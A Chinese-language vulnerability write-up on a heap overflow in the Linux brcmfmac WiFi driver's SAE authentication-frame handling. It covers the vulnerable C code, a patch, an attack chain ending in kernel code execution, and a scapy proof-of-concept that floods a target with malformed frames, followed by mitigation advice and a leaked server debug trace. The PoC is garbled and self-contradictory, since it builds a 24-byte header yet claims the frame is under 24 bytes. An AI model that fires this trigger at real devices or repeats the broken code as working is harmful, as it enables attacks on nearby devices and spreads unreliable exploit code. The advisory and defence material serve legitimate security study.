当前位置:首页>Linux>Linux Kernel brcmfmac WiFi驱动堆溢出漏洞深度分析

Linux Kernel brcmfmac WiFi驱动堆溢出漏洞深度分析

  • 2026-08-20 20:21:01
Linux Kernel brcmfmac WiFi驱动堆溢出漏洞深度分析
CVE-2026-72003CVSS 8.1 高危远程触发补丁已发布
漏洞概述
漏洞编号
CVE-2026-72003
漏洞类型
堆缓冲区溢出 (CWE-122: Heap-based Buffer Overflow)
CVSS评分
8.1 高危 (AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
攻击向量
相邻网络 (AV:A) — 需物理接近恶意AP
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Linux内核 brcmfmac 驱动(Broadcom 802.11 WiFi芯片)
披露时间
2026-08-15 (NVD发布)
技术细节

CVE-2026-72003 是 Linux 内核 Broadcom WiFi 驱动 brcmfmac中的一个严重堆缓冲区溢出漏洞。该漏洞存在于驱动处理 802.11 认证帧(Authentication Frame)的代码路径中。当设备执行外部 SAE(Simultaneous Authentication of Equals)认证交换时,驱动会从接收到的管理帧中读取固定大小的字段,但未在处理前强制验证帧的最小长度。

核心问题在于长度计算中的整数下溢。当攻击者发送的 mgmt_frame_len小于管理帧头部偏移量(24字节)时,代码执行无符号减法运算导致值回绕为一个极大的数值。随后的 memcpy操作会使用这个错误的长度值,导致数据拷贝远超已分配的内核堆缓冲区边界。

C漏洞核心代码路径
/* brcmfmac 驱动中处理认证帧的漏洞代码路径 */static voidbrcmf_rx_auth_frame(struct brcmf_if *ifp,                                struct sk_buff *skb) {     struct ieee80211_mgmt *mgmt;     u32 mgmt_frame_len;     u8*frame_body;      mgmt = (struct ieee80211_mgmt *)skb->data;      /* 漏洞点:未验证帧长度是否满足最小要求 */     mgmt_frame_len = skb->len;      /* 计算帧体长度时发生整数下溢 *//* 当 mgmt_frame_len < 24 时,无符号减法回绕 */     frame_body = mgmt->u.auth.variable;     u32 body_len = mgmt_frame_len -24;  /* 0xFFFFFFFF... *//* 后续 memcpy 使用错误长度,导致堆溢出 */memcpy(ifp->auth_buf, frame_body, body_len);  /* BOOM! */ } 

此漏洞的触发条件极为简单:攻击者只需在外部 SAE 认证交换过程中发送一个过短的认证帧。由于 WPA3 的 SAE 认证广泛用于现代 WiFi 网络,任何启用 WPA3 且使用 Broadcom WiFi 芯片的设备在扫描或连接网络时都可能成为攻击目标。值得注意的是,攻击不需要任何预先认证或凭据,目标设备甚至无需已连接到恶意 AP——只需在信号范围内即可。

C修复补丁核心逻辑
/* 修复补丁:添加最小长度检查 */static voidbrcmf_rx_auth_frame(struct brcmf_if *ifp,                                struct sk_buff *skb) {     struct ieee80211_mgmt *mgmt;     u32 mgmt_frame_len;      /* 修复:强制验证最小帧长度 */if (skb->len <24+sizeof(mgmt->u.auth)) {         brcmf_dbg(INFO, "auth frame too short: %u\n", skb->len);         return;  /* 丢弃过短帧 */     }      /* 后续安全处理... */     mgmt_frame_len = skb->len;     /* ... */ } 
攻击链分析
步骤一:恶意AP部署
攻击者在目标区域部署一个配置为 WPA3-SAE 模式的恶意 WiFi接入点(AP),或劫持合法AP发送畸形的认证响应帧。设备需处于恶意AP信号覆盖范围内。
步骤二:触发SAE认证交换
当目标设备(如笔记本电脑、IoT设备)扫描到该恶意AP的SSID并尝试连接,或已保存该SSID的设备自动尝试重连时,触发 WPA3 的 SAE 外部认证交换流程。此过程完全无需用户交互。
步骤三:发送畸短认证帧
在 SAE Commit 或 Confirm 交换阶段,恶意AP向目标设备发送一个长度小于24字节的认证帧。该帧被 brcmfmac 驱动的认证帧处理函数接收。
步骤四:整数下溢与堆溢出
驱动计算帧体长度时,mgmt_frame_len(如10) - 24 导致无符号整数回绕为 0xFFFFFFF2(约4GB),随后 memcpy 以该长度向内核堆缓冲区写入数据,造成严重的堆溢出。
步骤五:内核代码执行
通过精心构造溢出数据,攻击者可以覆盖相邻的堆元数据或函数指针,结合内核堆利用技术(如 SLUB 投毒、堆喷射),最终实现内核态任意代码执行,获得系统最高权限。
PoC / 利用代码
⚠ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。请在隔离的测试环境中运行。
Python概念验证 - 畸短认证帧构造
#!/usr/bin/env python3# CVE-2026-72003 PoC - brcmfmac WiFi Heap Overflow Trigger# 仅供安全研究使用,必须在授权隔离环境中运行importscapy.allasscapyimportstructimporttimeimportsysimportos# IEEE 802.11 管理帧帧控制字段FC_MGMT=0x00C0# 管理帧类型FC_AUTH=0x000B# 认证帧子类型defbuild_malformed_auth_frame(target_macap_mac):     """构造畸短的认证帧触发堆溢出"""# 802.11 帧头 (24字节) - 正常长度frame_control=FC_MGMT|FC_AUTHduration=0x0000seq_ctrl=0x0010# 构造最小帧头header=struct.pack(',         frame_control,   # Frame Controlduration,        # Durationbytes.fromhex(target_mac.replace(':''')),  # DAbytes.fromhex(ap_mac.replace(':''')),       # SAbytes.fromhex(ap_mac.replace(':''')),       # BSSIDstruct.pack('H'seq_ctrl)                    # Seq Ctrl     )          # 关键:仅附加极少量的认证帧体数据# 使总帧长 < 24字节(头部偏移),触发整数下溢payload=b'\x00\x03'# 认证算法: SAE (3)payload+=b'\x01\x00'# 认证序列: 2# 故意不填充完整帧体,使总长度 < 24frame=header+payloadreturnframedeftrigger_overflow(ifacetarget_macap_mac):     """发送畸短认证帧触发漏洞"""frame=build_malformed_auth_frame(target_macap_mac)     radiotap=scapy.RadioTap()     pkt=radiotap/scapy.Dot11(frame)          print(f"[*] 目标MAC: {target_mac}")     print(f"[*] 帧总长度: {len(frame)} 字节 (应 < 24触发下溢)")     print(f"[*] 发送畸短认证帧至目标...")          # 连续发送以提高触发概率foriinrange(100):         scapy.sendp(pktiface=ifaceverbose=False)         time.sleep(0.01)          print("[+] 漏洞触发帧已发送")     print("[!] 检查目标是否崩溃 (kernel panic/oops)")  if__name__=="__main__":     iflen(sys.argv!=4:         print(f"Usage: {sys.argv[0]} ")         sys.exit(1)          trigger_overflow(sys.argv[1], sys.argv[2], sys.argv[3]) 
影响范围
Broadcom BCM43xx 系列 WiFi 芯片— 使用上游 brcmfmac 驱动的所有 Broadcom 802.11ac/ax/Be 无线芯片组
消费级笔记本电脑— 搭载 Broadcom WiFi 芯片的 Dell、HP、Lenovo、ASUS 等品牌笔记本,尤其是使用 WPA3 的设备
单板计算机与嵌入式设备— Raspberry Pi 系列(3B+/4/5)、BeagleBone 及各类基于 Broadcom 芯片的 IoT 设备
Linux 发行版— 所有使用上游 brcmfmac 驱动的 Linux 发行版,包括 Ubuntu 20.04/22.04/24.04/26.04、Fedora 39-42、Debian 12/13、Arch Linux 等
Android 设备— 使用 Broadcom WiFi 芯片且未应用厂商特定驱动的 Android 智能手机与平板电脑
路由器固件— 运行 OpenWrt/DD-WRT 等第三方固件且使用 Broadcom 无线芯片的路由器设备
防御指南
修复与缓解
  • 立即升级至 Linux 内核最新稳定版本(补丁已合入 stable 分支),确保 brcmfmac 驱动包含最小帧长度检查
  • 如无法立即升级内核,可通过内核命令行参数 brcmfmac.debug=0x10启用驱动调试日志,配合 dmesg 监控异常认证帧
  • 企业环境中可通过 WPA2-Enterprise 临时替代 WPA3-SAE,避免外部 SAE 认证路径被触发
  • 使用无线入侵检测系统(WIDS)监控网络环境中的异常短认证帧
  • 嵌入式设备厂商应尽快将补丁回合至其维护的内核分支
  • 配置 WPA3 设备的 PMF(Protected Management Frames)策略,仅允许受信任 AP 的认证帧
⚡ 紧急建议
该漏洞为远程可触发的内核堆溢出,攻击者仅需物理接近目标设备(WiFi信号覆盖范围),无需任何认证凭据。历史经验表明,WiFi驱动堆溢出漏洞从披露到武器化的时间窗口极短。建议所有使用 Broadcom WiFi 芯片的 Linux 设备立即应用补丁。
法律声明以上信息仅供安全研究和授权渗透测试使用。未经授权对他人系统进行测试属于违法行为。本文中的 PoC 代码仅用于概念验证,旨在帮助安全研究人员理解漏洞原理并开发相应的防御措施。任何因滥用本文信息造成的损害,作者不承担任何责任。请在法律允许的范围内使用相关信息。

最新文章

随机文章

基本 文件 流程 错误 SQL 调试
  1. 请求信息 : 2026-08-21 13:27:40 HTTP/2.0 GET : https://f.mffb.com.cn/a/510938.html
  2. 运行时间 : 0.289814s [ 吞吐率:3.45req/s ] 内存消耗:4,437.69kb 文件加载:140
  3. 缓存信息 : 0 reads,0 writes
  4. 会话信息 : SESSION_ID=eb0d805bdb6b761ea61228597b1338d9
  1. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/public/index.php ( 0.79 KB )
  2. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/autoload.php ( 0.17 KB )
  3. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/composer/autoload_real.php ( 2.49 KB )
  4. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/composer/platform_check.php ( 0.90 KB )
  5. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/composer/ClassLoader.php ( 14.03 KB )
  6. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/composer/autoload_static.php ( 4.90 KB )
  7. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/helper.php ( 8.34 KB )
  8. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-validate/src/helper.php ( 2.19 KB )
  9. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/helper.php ( 1.47 KB )
  10. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/stubs/load_stubs.php ( 0.16 KB )
  11. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Exception.php ( 1.69 KB )
  12. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-container/src/Facade.php ( 2.71 KB )
  13. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/symfony/deprecation-contracts/function.php ( 0.99 KB )
  14. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/symfony/polyfill-mbstring/bootstrap.php ( 8.26 KB )
  15. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/symfony/polyfill-mbstring/bootstrap80.php ( 9.78 KB )
  16. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/symfony/var-dumper/Resources/functions/dump.php ( 1.49 KB )
  17. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-dumper/src/helper.php ( 0.18 KB )
  18. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/symfony/var-dumper/VarDumper.php ( 4.30 KB )
  19. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/App.php ( 15.30 KB )
  20. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-container/src/Container.php ( 15.76 KB )
  21. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/psr/container/src/ContainerInterface.php ( 1.02 KB )
  22. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/provider.php ( 0.19 KB )
  23. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Http.php ( 6.04 KB )
  24. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/helper/Str.php ( 7.29 KB )
  25. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Env.php ( 4.68 KB )
  26. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/common.php ( 0.03 KB )
  27. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/helper.php ( 18.78 KB )
  28. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Config.php ( 5.54 KB )
  29. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/app.php ( 0.95 KB )
  30. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/cache.php ( 0.78 KB )
  31. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/console.php ( 0.23 KB )
  32. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/cookie.php ( 0.56 KB )
  33. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/database.php ( 2.48 KB )
  34. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/facade/Env.php ( 1.67 KB )
  35. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/filesystem.php ( 0.61 KB )
  36. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/lang.php ( 0.91 KB )
  37. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/log.php ( 1.35 KB )
  38. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/middleware.php ( 0.19 KB )
  39. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/route.php ( 1.89 KB )
  40. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/session.php ( 0.57 KB )
  41. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/trace.php ( 0.34 KB )
  42. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/view.php ( 0.82 KB )
  43. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/event.php ( 0.25 KB )
  44. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Event.php ( 7.67 KB )
  45. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/service.php ( 0.13 KB )
  46. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/AppService.php ( 0.26 KB )
  47. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Service.php ( 1.64 KB )
  48. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Lang.php ( 7.35 KB )
  49. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/lang/zh-cn.php ( 13.70 KB )
  50. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/initializer/Error.php ( 3.31 KB )
  51. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/initializer/RegisterService.php ( 1.33 KB )
  52. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/services.php ( 0.14 KB )
  53. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/service/PaginatorService.php ( 1.52 KB )
  54. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/service/ValidateService.php ( 0.99 KB )
  55. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/service/ModelService.php ( 2.04 KB )
  56. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-trace/src/Service.php ( 0.77 KB )
  57. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Middleware.php ( 6.72 KB )
  58. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/initializer/BootService.php ( 0.77 KB )
  59. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/Paginator.php ( 11.86 KB )
  60. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-validate/src/Validate.php ( 63.20 KB )
  61. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/Model.php ( 23.55 KB )
  62. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/Attribute.php ( 21.05 KB )
  63. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/AutoWriteData.php ( 4.21 KB )
  64. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/Conversion.php ( 6.44 KB )
  65. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/DbConnect.php ( 5.16 KB )
  66. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/ModelEvent.php ( 2.33 KB )
  67. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/RelationShip.php ( 28.29 KB )
  68. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/contract/Arrayable.php ( 0.09 KB )
  69. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/contract/Jsonable.php ( 0.13 KB )
  70. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/contract/Modelable.php ( 0.09 KB )
  71. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Db.php ( 2.88 KB )
  72. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/DbManager.php ( 8.52 KB )
  73. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Log.php ( 6.28 KB )
  74. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Manager.php ( 3.92 KB )
  75. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/psr/log/src/LoggerTrait.php ( 2.69 KB )
  76. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/psr/log/src/LoggerInterface.php ( 2.71 KB )
  77. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Cache.php ( 4.92 KB )
  78. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/psr/simple-cache/src/CacheInterface.php ( 4.71 KB )
  79. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/helper/Arr.php ( 16.63 KB )
  80. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/cache/driver/File.php ( 7.84 KB )
  81. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/cache/Driver.php ( 9.03 KB )
  82. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/contract/CacheHandlerInterface.php ( 1.99 KB )
  83. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/Request.php ( 0.09 KB )
  84. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Request.php ( 55.78 KB )
  85. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/middleware.php ( 0.25 KB )
  86. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Pipeline.php ( 2.61 KB )
  87. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-trace/src/TraceDebug.php ( 3.40 KB )
  88. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/middleware/SessionInit.php ( 1.94 KB )
  89. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Session.php ( 1.80 KB )
  90. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/session/driver/File.php ( 6.27 KB )
  91. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/contract/SessionHandlerInterface.php ( 0.87 KB )
  92. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/session/Store.php ( 7.12 KB )
  93. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Route.php ( 23.73 KB )
  94. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/RuleName.php ( 5.75 KB )
  95. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/Domain.php ( 2.53 KB )
  96. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/RuleGroup.php ( 22.43 KB )
  97. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/Rule.php ( 26.95 KB )
  98. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/RuleItem.php ( 9.78 KB )
  99. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/route/app.php ( 1.72 KB )
  100. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/facade/Route.php ( 4.70 KB )
  101. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/dispatch/Controller.php ( 4.74 KB )
  102. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/Dispatch.php ( 10.44 KB )
  103. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/controller/Index.php ( 4.81 KB )
  104. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/BaseController.php ( 2.05 KB )
  105. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/facade/Db.php ( 0.93 KB )
  106. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/connector/Mysql.php ( 5.44 KB )
  107. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/PDOConnection.php ( 52.47 KB )
  108. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/Connection.php ( 8.39 KB )
  109. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/ConnectionInterface.php ( 4.57 KB )
  110. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/builder/Mysql.php ( 16.58 KB )
  111. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/Builder.php ( 24.06 KB )
  112. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/BaseBuilder.php ( 27.50 KB )
  113. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/Query.php ( 15.71 KB )
  114. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/BaseQuery.php ( 45.13 KB )
  115. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/TimeFieldQuery.php ( 7.43 KB )
  116. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/AggregateQuery.php ( 3.26 KB )
  117. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/ModelRelationQuery.php ( 20.07 KB )
  118. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/ParamsBind.php ( 3.66 KB )
  119. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/ResultOperation.php ( 7.01 KB )
  120. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/WhereQuery.php ( 19.37 KB )
  121. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/JoinAndViewQuery.php ( 7.11 KB )
  122. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/TableFieldInfo.php ( 2.63 KB )
  123. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/Transaction.php ( 2.77 KB )
  124. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/log/driver/File.php ( 5.96 KB )
  125. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/contract/LogHandlerInterface.php ( 0.86 KB )
  126. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/log/Channel.php ( 3.89 KB )
  127. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/event/LogRecord.php ( 1.02 KB )
  128. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/Collection.php ( 16.47 KB )
  129. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/facade/View.php ( 1.70 KB )
  130. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/View.php ( 4.39 KB )
  131. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Response.php ( 8.81 KB )
  132. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/response/View.php ( 3.29 KB )
  133. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Cookie.php ( 6.06 KB )
  134. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-view/src/Think.php ( 8.38 KB )
  135. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/contract/TemplateHandlerInterface.php ( 1.60 KB )
  136. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-template/src/Template.php ( 46.61 KB )
  137. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-template/src/template/driver/File.php ( 2.41 KB )
  138. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-template/src/template/contract/DriverInterface.php ( 0.86 KB )
  139. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/runtime/temp/067d451b9a0c665040f3f1bdd3293d68.php ( 11.98 KB )
  140. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-trace/src/Html.php ( 4.42 KB )
  1. CONNECT:[ UseTime:0.001083s ] mysql:host=127.0.0.1;port=3306;dbname=f_mffb;charset=utf8mb4
  2. SHOW FULL COLUMNS FROM `fenlei` [ RunTime:0.001691s ]
  3. SELECT * FROM `fenlei` WHERE `fid` = 0 [ RunTime:0.000731s ]
  4. SELECT * FROM `fenlei` WHERE `fid` = 63 [ RunTime:0.000630s ]
  5. SHOW FULL COLUMNS FROM `set` [ RunTime:0.001267s ]
  6. SELECT * FROM `set` [ RunTime:0.000521s ]
  7. SHOW FULL COLUMNS FROM `article` [ RunTime:0.001394s ]
  8. SELECT * FROM `article` WHERE `id` = 510938 LIMIT 1 [ RunTime:0.012176s ]
  9. UPDATE `article` SET `lasttime` = 1787290060 WHERE `id` = 510938 [ RunTime:0.031653s ]
  10. SELECT * FROM `fenlei` WHERE `id` = 67 LIMIT 1 [ RunTime:0.000681s ]
  11. SELECT * FROM `article` WHERE `id` < 510938 ORDER BY `id` DESC LIMIT 1 [ RunTime:0.001202s ]
  12. SELECT * FROM `article` WHERE `id` > 510938 ORDER BY `id` ASC LIMIT 1 [ RunTime:0.001213s ]
  13. SELECT * FROM `article` WHERE `id` < 510938 ORDER BY `id` DESC LIMIT 10 [ RunTime:0.003676s ]
  14. SELECT * FROM `article` WHERE `id` < 510938 ORDER BY `id` DESC LIMIT 10,10 [ RunTime:0.013325s ]
  15. SELECT * FROM `article` WHERE `id` < 510938 ORDER BY `id` DESC LIMIT 20,10 [ RunTime:0.058032s ]
0.293477s